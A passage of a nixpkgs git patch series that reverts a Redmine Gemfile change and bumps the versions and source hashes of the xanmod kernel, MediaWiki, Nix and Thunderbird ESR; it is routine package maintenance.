+        hash = "sha256-wcby9uD8xb4re9+s+rdl1hcpxDcHxuI68vUNAC7Baas=";
+      })
+    ];
 
   postPatch =
     ''

From 4c5f91eb07a2029ec0d9b0d88b7ba3b5c2cc1ba5 Mon Sep 17 00:00:00 2001
From: Sandro <sandro.jaeckel@gmail.com>
Date: Fri, 11 Jul 2025 12:50:22 +0200
Subject: [PATCH 2315/4511] Revert "redmine: Move optional gems to
 Gemfile.local" (#424140)

This reverts commit 8e690ed6fc02c77488d3cd3d811b5d9ded400b8b.

See https://github.com/NixOS/nixpkgs/issues/421178

At the time of the initial commit the change worked but for currently unknown reasons it broke ~2 weeks after.

(cherry picked from commit d21825f9cf895942e057230c56625e2290d1b149)
---
 pkgs/by-name/re/redmine/Gemfile       | 2 ++
 pkgs/by-name/re/redmine/Gemfile.local | 1 -
 2 files changed, 2 insertions(+), 1 deletion(-)
 delete mode 100644 pkgs/by-name/re/redmine/Gemfile.local

diff --git a/pkgs/by-name/re/redmine/Gemfile b/pkgs/by-name/re/redmine/Gemfile
index 19138ab112f1..8d0d2183e7a2 100644
--- a/pkgs/by-name/re/redmine/Gemfile
+++ b/pkgs/by-name/re/redmine/Gemfile
@@ -82,6 +82,8 @@ group :test do
   gem 'bundle-audit', require: false
 end
 
+gem "webrick"
+
 local_gemfile = File.join(File.dirname(__FILE__), "Gemfile.local")
 if File.exist?(local_gemfile)
   eval_gemfile local_gemfile
diff --git a/pkgs/by-name/re/redmine/Gemfile.local b/pkgs/by-name/re/redmine/Gemfile.local
deleted file mode 100644
index 192455d12b9b..000000000000
--- a/pkgs/by-name/re/redmine/Gemfile.local
+++ /dev/null
@@ -1 +0,0 @@
-gem 'webrick'

From cc33fd3b36fdf034c9b22044d45297bddf925563 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 10 Jul 2025 21:50:05 +0200
Subject: [PATCH 2316/4511] linux_xanmod: 6.12.36 -> 6.12.37

(cherry picked from commit 6c669e715c8f18ee6fdc0229b94247988909356b)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index d9767d286aac..5e3c130c3006 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -14,8 +14,8 @@ let
   # kernel config in the xanmod version commit
   variants = {
     lts = {
-      version = "6.12.36";
-      hash = "sha256-F/vdX8vAKf2/70Kni1UPcx/XBNF1b9tcoyzV4+q2/rY=";
+      version = "6.12.37";
+      hash = "sha256-VH5w802w6ugpMP5YPUuOJtf9TnrLZmFJUrGCQVH4n+s=";
     };
     main = {
       version = "6.15.5";

From 613440a7f1db76d6845fbd8fda629b15df2914d3 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 10 Jul 2025 22:05:19 +0200
Subject: [PATCH 2317/4511] linux_xanmod_latest: 6.15.5 -> 6.15.6

(cherry picked from commit 8264f41a90d4c5681231128ec2cf550b64d155f1)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 5e3c130c3006..76dec620576a 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -18,8 +18,8 @@ let
       hash = "sha256-VH5w802w6ugpMP5YPUuOJtf9TnrLZmFJUrGCQVH4n+s=";
     };
     main = {
-      version = "6.15.5";
-      hash = "sha256-jw5l0nd7ClDwMLI6n3LmJ+0MprcgTlsHQKpsdX6hFZs=";
+      version = "6.15.6";
+      hash = "sha256-ArhRHMHvScV1Xa0lgBbM0hYtCAXujSCHA3aKEZnZSwU=";
     };
   };
 

From ff215cb575fc11fc5054c3b055366818f13a6dd2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 1 Jul 2025 03:05:12 +0000
Subject: [PATCH 2318/4511] mediawiki: 1.43.1 -> 1.43.2

(cherry picked from commit 6a3906cb0e510349aa3f6c0011cbc6116a508e0d)
---
 pkgs/by-name/me/mediawiki/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/me/mediawiki/package.nix b/pkgs/by-name/me/mediawiki/package.nix
index 3fd63ab4f664..788b901d2f1f 100644
--- a/pkgs/by-name/me/mediawiki/package.nix
+++ b/pkgs/by-name/me/mediawiki/package.nix
@@ -8,11 +8,11 @@
 
 stdenvNoCC.mkDerivation rec {
   pname = "mediawiki";
-  version = "1.43.1";
+  version = "1.43.2";
 
   src = fetchurl {
     url = "https://releases.wikimedia.org/mediawiki/${lib.versions.majorMinor version}/mediawiki-${version}.tar.gz";
-    hash = "sha256-PIWqnEzWw1PGeASjpY57eWFdQUHD1msQHl8660BlPWw=";
+    hash = "sha256-3ECvcM1O9Cd63DvgXHIijpjbI4vo5qo/Dln4XIAY504=";
   };
 
   postPatch = ''

From 11e3f735697dc0bc85d41de3a05fb5fa281fb3cf Mon Sep 17 00:00:00 2001
From: Sergei Zimmerman <xokdvium@proton.me>
Date: Sat, 12 Jul 2025 16:29:09 +0300
Subject: [PATCH 2319/4511] nixVersions.git: remediate GHSA-qc7j-jgf3-qmhg

(cherry-picked from commit 3fd753223d69966451a7ef25e65a359d68109d74)
---
 pkgs/tools/package-management/nix/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index c3b83433b492..7d0a6f7cba56 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -210,14 +210,14 @@ lib.makeExtensible (
       nix_2_29 = addTests "nix_2_29" self.nixComponents_2_29.nix-everything;
 
       nixComponents_git = nixDependencies.callPackage ./modular/packages.nix rec {
-        version = "2.30pre20250624_${lib.substring 0 8 src.rev}";
+        version = "2.31.0pre20250711_${lib.substring 0 8 src.rev}";
         inherit (self.nix_2_24.meta) maintainers teams;
         otherSplices = generateSplicesForNixComponents "nixComponents_git";
         src = fetchFromGitHub {
           owner = "NixOS";
           repo = "nix";
-          rev = "448cfb71eafbb3f2932b025aa2600c80b6d383f1";
-          hash = "sha256-tk1H8lOA5lIvhNP/izZ6JzT0EuDmCOX5RBhOeHdc2cM=";
+          rev = "ab3cd76e73879b9a609972f29919a48144f9336f";
+          hash = "sha256-5ZXs5QHwrT5Ouy0ynZ7e7R+3z9ovLTwUX5xGAfUUIRo=";
         };
       };
 

From 58e3520e1509c3a44e3e820043a8191607772fb0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 12 Jul 2025 11:15:12 +0000
Subject: [PATCH 2320/4511] thunderbird-esr-bin-unwrapped: 128.11.1esr ->
 140.0.1esr

(cherry picked from commit 9cb6986357596143ac3aeb3e8f19974f8f74a92f)
---
 .../thunderbird-bin/release_esr_sources.nix   | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
index f4b3e1e046ab..ea56b90297f6 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "128.11.1esr";
+  version = "140.0.1esr";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/af/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/af/thunderbird-140.0.1esr.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "4c5d8bfcfa05423efd1f4d0fd0848ff72ab9fd31ff3e9eb11f3685c5dfb68e04";
+      sha256 = "06f915e75f3a2b5854ca5291b2996c6829044ba5c951b5e0589afba0cee3165c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ar/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ar/thunderbird-140.0.1esr.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "c40f9151efc1a580fd822ed0eaadb35ce56df7f9ec52941eb01252602f0f0d54";
+      sha256 = "f9e977ea29c2323477e689dd245fea48b6986bbfc5cb5bf1c11ff1816129a6ec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ast/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ast/thunderbird-140.0.1esr.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "7a519cee82ec611073e8b0ae4b24ca59b21cccd46e795d699330fb87f65ed1eb";
+      sha256 = "bfb135159eace51cebca93a67a04b26bb8193ca74380bf91925e44b8f5f35062";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/be/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/be/thunderbird-140.0.1esr.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "eca443f0501b7441c71c71f88b0710dc7c75e28e90819e74b2f920959b30c7bb";
+      sha256 = "87e4805cb4d75c099933fe130b2e9e49cce6d4ffcae96a5db4e7063f15015c0e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/bg/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/bg/thunderbird-140.0.1esr.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "eb8a824f9dc96d6ad19b612969d6643a1f2e90e7898eaf0998bc95c97bc0a0d2";
+      sha256 = "73070f8fd509855e168f9017e0a055c2fc82491672defc5254628493739bc172";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/br/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/br/thunderbird-140.0.1esr.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "5f9fd740cacd732375a65d9afa85447f5ac6d1d3d24303ffd6f5d8c524aadb10";
+      sha256 = "0bc1e74090f65343bb02693192dc2e089bbf794f24779260ec1e9b0b38bfaca2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ca/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ca/thunderbird-140.0.1esr.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "548b0a8d16cc7ef934974b71fc292f3b25dda8df187d24ad6325a3ec728159e9";
+      sha256 = "165c01a14e5cb97ef930061c91b35359de51f34099726d4e41cf36daa01997c7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/cak/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/cak/thunderbird-140.0.1esr.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "b4c6a6ff1826481a6344eb02cd02de7b36c11741e36092e3067ec2f8611e8896";
+      sha256 = "fe15b4171d98d5c4efc5fb3ec1900acb1a2b3e5d95352b16f6447845fe346d7b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/cs/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/cs/thunderbird-140.0.1esr.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "5ed093659df290708a4c5491a735cfacd48b05c0c3ac12fb5b4866bafe88ed7f";
+      sha256 = "6d352b072fc5c8a30c1bea470ece25f02e4e28819252beb3315d5a25310050a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/cy/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/cy/thunderbird-140.0.1esr.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "faaed9ba9c8c77d5746fb2281b909fead2a9c4bf22693228540fc706c5263d98";
+      sha256 = "9850cab77ccb9f190e891d54b41870027f954fe0d7181125ed561fb8bd8a25c6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/da/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/da/thunderbird-140.0.1esr.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "4f45cbc3ecff2e608c210ae2cb9ea1cdbd4a31a7133044b7e37e0fe3d51e1dd0";
+      sha256 = "b5d83580e2a47f47294eb1c44b99e76ff3197a452c0bf0d6b43aa0b8a9304cec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/de/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/de/thunderbird-140.0.1esr.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "00f55afea34eace46798661c3f4fd15deb5fb23f6fce595af15a8628e81fce74";
+      sha256 = "d2350a93bb8dee76c66b803938f03f26e090a6f0a8479cd3caaa6ce53cd971ed";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/dsb/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/dsb/thunderbird-140.0.1esr.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "5cefcd091aaab2e2d7dff6215bb32cc750f59c245688b67908d8350ea4c6aa8f";
+      sha256 = "22bd1b90d9f66935c36bd401fb26f06e4e9058efffd57b11497b562c64c33232";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/el/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/el/thunderbird-140.0.1esr.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "09fb56913dcf3b5a4a5aac77aec83d2981211dd12160382e6de6f8de08521419";
+      sha256 = "d76b19a19955894a8c5e41c141462ee461777dc835f3f0521b0002b72a5e69ee";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/en-CA/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/en-CA/thunderbird-140.0.1esr.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "48c1fef2388352fed9a4aca79bf8b08e45a5de7bb8f0c14ce7024559f5ade487";
+      sha256 = "9640f19005a7edab422d8f6ae8f30ff5972e7ba4d2ea3a4e33327af179ac3bb8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/en-GB/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/en-GB/thunderbird-140.0.1esr.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "7d58ff808050a56f3d15429926947909a85a08b918f5c998d1b3dbbb92fa20b6";
+      sha256 = "aad201099bfc714adf49a2c48f6014d032aa0b769a5fc36a79b1c69d45e7214a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/en-US/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/en-US/thunderbird-140.0.1esr.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "a9ce7e6d976fcb6f666ac8bbda0341eb88325de92d46cbf650402014cc94cc1d";
+      sha256 = "80cf82ad997397830e740dd9d9434251339ac070330bf733117b465b659151f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/es-AR/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/es-AR/thunderbird-140.0.1esr.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "4a0d95b1eed90999ab1a991cb485004955d6fa657f0606cde3836bda436f624b";
+      sha256 = "d08a3bcd79614df769d394ab26adca2aa2af9555b81cc21907e5427a06688998";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/es-ES/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/es-ES/thunderbird-140.0.1esr.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "f566a2f28b45d7babac97c1fd5e91ecd613493f62a6bb27e6f28f2f63dd05b83";
+      sha256 = "e5c869674940aa0d250709e3e7f863c63fc16441fb3d42b2eb4748700407c1c9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/es-MX/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/es-MX/thunderbird-140.0.1esr.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "aa579b2eb5106ed37cc7a80bb9a69cbed691e54bef0c154f350baf9024e96c66";
+      sha256 = "56b7a598b06101368f30ff3e6af79f6a14fdeb42eb2f4480c4c01cdf586528e3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/et/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/et/thunderbird-140.0.1esr.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "0ec388dc71bb31a4729cc34b348f7ef6c1aa456e75958e18f0e1a0aa3487485c";
+      sha256 = "c15efe7a3ee01ac382647f6fae52cda012e8164246eabe9ce70e099d3984de2d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/eu/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/eu/thunderbird-140.0.1esr.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "c3a0a7a08eefa9b20c7eb0f00b380f3b59019585587ef7a7c7518376426eb717";
+      sha256 = "6c6731ad5e8fb00495029d281063bb2d66f7a76fe4ff827019c2647ffe8da223";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/fi/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/fi/thunderbird-140.0.1esr.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "48724600f5dbee5d8bf01025fd85fd8605ae3328cbba36a0cf66a5fb36f76215";
+      sha256 = "d9f7a2c19e1982a043b8cdcdfff935541810744fda6128a2049bb1594dedfbae";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/fr/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/fr/thunderbird-140.0.1esr.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "9d046568bdb3914fb039ccd7ed9f7a6eb57ab8ec654be89c4e7a46e7b09e106b";
+      sha256 = "369acae933d265958e9d5fcfdba0acffa7bd439ec37e7b5fb374653f2ad04522";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/fy-NL/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/fy-NL/thunderbird-140.0.1esr.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "1928a51ce10f959ba5774d278e79fa65d3fa9518d9f51f6401bbf48ea9722192";
+      sha256 = "046e818ec7a8beeaaaf09446f8d8696dd76ac2e8b77c81a64e5c1dac55253fef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ga-IE/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ga-IE/thunderbird-140.0.1esr.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "d3cb2ae096f89d4435df4f478b3fbd10a48fcb99dd53f3fd9e1ab63fb4fe2075";
+      sha256 = "37c56eb7e5b5d954ff410195e215c2c0027a3bbec9a48a33385ec11d77cef8f1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/gd/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/gd/thunderbird-140.0.1esr.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "ed52f16a9c754d7e12bdc7bc6bb5d3c3273352569ac075120426bc54c495d404";
+      sha256 = "79f15b5de5d952bd8bcafa04bad730dcff9c9acbdec4ebf0bdadb8cffe6822f5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/gl/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/gl/thunderbird-140.0.1esr.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "b160144e23fb630f522fe0ddcb474c547f7f2c81c566611bd3139ac43cebdf9a";
+      sha256 = "91ff57794a1c65c972568e15a1f9052b191ed326587043988199a4fa725fcd5e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/he/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/he/thunderbird-140.0.1esr.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "08088bd8e492ee0f0408bd1126b4f0bf1dc713bfea540d0fe646ec1813705e5a";
+      sha256 = "3cbed1bb7a7b90badf41f54babc59303e8a3d63eb891a19a0e6c93199798404e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/hr/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/hr/thunderbird-140.0.1esr.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "30a797e5eda3b45cfaec58d4af61ec8ebedccfd8c7f7fcbd875bbb0f5bb1a2bd";
+      sha256 = "5635413f7f86d8bf5ccec7ef98b5a72e724b96e41d7079851e1bac2cf57d8062";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/hsb/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/hsb/thunderbird-140.0.1esr.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "edec321ce22bbc1f23186acc526afddf7fe1f31542609f176550f2d064cff8c9";
+      sha256 = "6aba8d1ebfa2fb886477a5250f4ce16bb216f7c475ab56faa1bcc2598e3e360c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/hu/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/hu/thunderbird-140.0.1esr.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "b09425982fb5268104f41f6c9f4575c2a0c826c493131da48044f6916a53ff8d";
+      sha256 = "97274a67e2632130a081f25836068ed1d629b0e24ef65a86b85e2f1dc50314a3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/hy-AM/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/hy-AM/thunderbird-140.0.1esr.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "08db6f74f258e21a23a730a5dd9725c75d1e3125f164f41ba1023fa43bc2ba19";
+      sha256 = "b3cc90a46dd5a0604ecc6dba3129dc999f6ccdafbf559dc6abad476b9f644ff6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/id/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/id/thunderbird-140.0.1esr.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "737bdcba6ada377cc8729fb4b5ad115062dca1398949cdffab12bcfbacbbeb09";
+      sha256 = "015e2ac23a0129ee0bb4f8c078f6d604361b2b08cecb54e0ecd98e82f8c87606";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/is/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/is/thunderbird-140.0.1esr.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "0b48d0b881d99e91ebb6a62763504fc3fcf941ae3a946b2cff5d557113baea29";
+      sha256 = "5d74a5b1e80540e3bdc031752ba0f16257e46c196ba20f34575c900cc741e184";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/it/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/it/thunderbird-140.0.1esr.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "54d0a4980828e74ae8605bc3b61e919376e16c016e140667093b1959249061e4";
+      sha256 = "36a257fe9b13ac7c95e64c2e16610e50e3faccce3d2e26d1b0c509d898360507";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ja/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ja/thunderbird-140.0.1esr.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "ea466164a5b4a86667ae0b6f85b78f729a2ea548b65a84bbca2b8a8836cb21ca";
+      sha256 = "ffa7cd70028112a691066b8dee3903a0404bf57c02751d687ef1bc8e906169f4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ka/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ka/thunderbird-140.0.1esr.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "93c584f654955026231c4e26c1d25734406044cf53c63d99e1da6ef00ea34c9d";
+      sha256 = "2c70ef901bb85e4355a4a86cde4dc4dc3822f198fc39e9abfc47393e9909d813";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/kab/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/kab/thunderbird-140.0.1esr.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "4d155a1e427611c9b7d2e90fa0c03751d45c5273b213b05ec2c3933060cd164a";
+      sha256 = "ed4cf54f5673e2ad33942bb2125bed7aece909ec31d6ad9986ed584708b618ea";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/kk/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/kk/thunderbird-140.0.1esr.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "37952480dd1db22937c026ec86353a3fe4d198ea599a8655531867531c26fb57";
+      sha256 = "5f5381e871f17921d4978bbce055239bd2358da555a5d4e897b57bc5a47cc2de";
     }
     {
